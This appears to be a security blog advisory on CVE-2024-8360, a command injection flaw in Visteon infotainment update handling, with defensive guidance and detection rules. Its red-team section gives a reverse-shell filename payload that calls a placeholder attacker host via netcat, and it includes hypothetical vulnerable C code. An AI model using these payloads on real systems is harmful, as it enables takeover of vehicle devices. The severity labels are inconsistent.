CVE-2024-8360

Executive Summary

CVE-2024-8360 is a critical command injection vulnerability discovered in Visteon Infotainment systems, specifically within the REFASH_DDU_ExtractFile function. This vulnerability allows a physically present attacker to execute arbitrary code on the device by crafting a malicious software update file. The flaw lies in the improper sanitization of user-supplied strings used in system calls during the extraction process. With a CVSS score of 6.8, the vulnerability is considered high severity due to the potential for full device compromise, though it requires physical access. No public proof-of-concept (PoC) or exploit code is currently available, and no patch has been released by Visteon.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.8 (Medium)
• Attack Vector (AV): Physical (P) – The attacker must have physical access to the device.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Full system disruption possible.

Threat Level: High. While physical access is required, the lack of authentication and low complexity make this a serious threat for targeted attacks on vehicles or kiosks using Visteon Infotainment systems.

Deep Dive & Mechanics

The vulnerability resides in the REFASH_DDU_ExtractFile function, which is part of the software update mechanism for Visteon Infotainment systems. This function is designed to extract files from a software update package. The flaw occurs because the function constructs a system call using a user-supplied string from the update file without proper sanitization or validation.

Attack Flow:

1. An attacker with physical access to the infotainment system inserts a malicious USB drive or SD card containing a crafted software update file.
2. The system's update process triggers the REFASH_DDU_ExtractFile function.
3. The function reads a filename or path from the update file and passes it directly to a system command (e.g., system(), exec(), or similar).
4. By injecting command separators (e.g., ;, |, &&) or backticks, the attacker can execute arbitrary commands on the underlying operating system.
5. The injected commands run with the privileges of the infotainment system, typically root or a high-privilege user, allowing full control over the device.

Root Cause: The lack of input validation and the use of unsanitized user input in a system call. This is a classic OS command injection vulnerability (CWE-78).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on the description.

Vulnerable Code (Hypothetical C/C++):

void REFASH_DDU_ExtractFile(const char* updateFilePath) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "unzip -o %s -d /tmp/update", updateFilePath);
    system(cmd); // Vulnerable: updateFilePath is user-controlled
}

Patched Code (Hypothetical):

void REFASH_DDU_ExtractFile(const char* updateFilePath) {
    // Validate the input path
    if (!isValidPath(updateFilePath)) {
        log_error("Invalid update file path");
        return;
    }
    // Use a safe API that does not invoke a shell
    int ret = extract_archive(updateFilePath, "/tmp/update");
    if (ret != 0) {
        log_error("Extraction failed");
    }
}

The patched version would either validate the input against a whitelist of allowed characters or use a library function that does not rely on shell execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to a Visteon Infotainment system (e.g., in a vehicle or kiosk).
• A USB drive or SD card.
• Knowledge of the update file format (likely a ZIP or custom archive).

Exploit Steps:

1. Create a malicious update file (e.g., update.zip) containing a crafted filename or metadata.
2. Inject a command into the filename field, such as:

   ; nc -e /bin/sh attacker_ip 4444 &
   

3. Insert the USB drive into the infotainment system.
4. Initiate the software update process (may require navigating menus).
5. The REFASH_DDU_ExtractFile function executes the injected command, spawning a reverse shell.

Example Payload (in filename):

legit_file.zip; echo "owned" > /tmp/pwned; reboot

Note: No public exploit code is available. This is a theoretical approach.

Blue Team (Defense & Detection)

Defensive Measures:

• Input Validation: Ensure all user-supplied strings are sanitized against a whitelist of allowed characters (e.g., alphanumeric, underscores, dots).
• Use Safe APIs: Replace system() or exec() with library functions that do not invoke a shell (e.g., fork() + execve() with hardcoded arguments).
• Principle of Least Privilege: Run the update process with minimal necessary privileges.
• Code Review: Audit all functions that handle external input for command injection vulnerabilities.
• Physical Security: Restrict physical access to infotainment systems (e.g., locked USB ports, tamper-evident seals).

Detection:

• Monitor for unusual system calls involving system(), exec(), or popen() during update processes.
• Log all file extraction activities and alert on suspicious filenames containing shell metacharacters (;, |, &, `).

Indicators of Compromise (IOCs)

• File Hashes: (None available, but monitor for unknown update files)
• Process Names: unzip, tar, sh, bash spawned unexpectedly during update.
• Network Connections: Outbound connections from the infotainment system to unknown IPs (e.g., reverse shells).
• File System Changes: Unexpected files in /tmp/, /var/, or system directories.
• Log Entries: Errors from REFASH_DDU_ExtractFile or unusual command execution logs.

Detection Engineering

YARA Rule

rule CVE_2024_8360_CommandInjection {
    meta:
        description = "Detects potential command injection in Visteon Infotainment update files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-8360"
    strings:
        $cmd1 = /[;|&`$()]/
        $cmd2 = /(system|exec|popen|shell_exec)/
    condition:
        $cmd1 and $cmd2
}

Sigma Rule

title: CVE-2024-8360 Command Injection in Visteon Infotainment
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts via REFASH_DDU_ExtractFile
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/unzip'
            - '/tar'
            - '/sh'
        CommandLine|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in filenames (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-8360 Command Injection Attempt"; content:"|3B|"; nocase; content:"|26 26|"; distance:0; within:10; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable USB/SD Card Updates: If possible, disable the software update feature via physical media until a patch is available.
2. Restrict Physical Access: Implement physical security controls (e.g., locked enclosures, tamper switches) to prevent unauthorized access to USB ports.
3. Monitor Logs: Enable detailed logging of update processes and monitor for suspicious activity.

Long-Term Fix:

• Vendor Patch: Await an official patch from Visteon that replaces the vulnerable system() call with a safe API and adds input validation.
• Code Audit: Conduct a thorough security audit of all functions handling external input.
• Firmware Update: Apply any firmware updates that address this vulnerability as soon as they are released.

Workaround:

• If the update process cannot be disabled, implement a whitelist of allowed filenames and paths in the extraction function.

Valters IT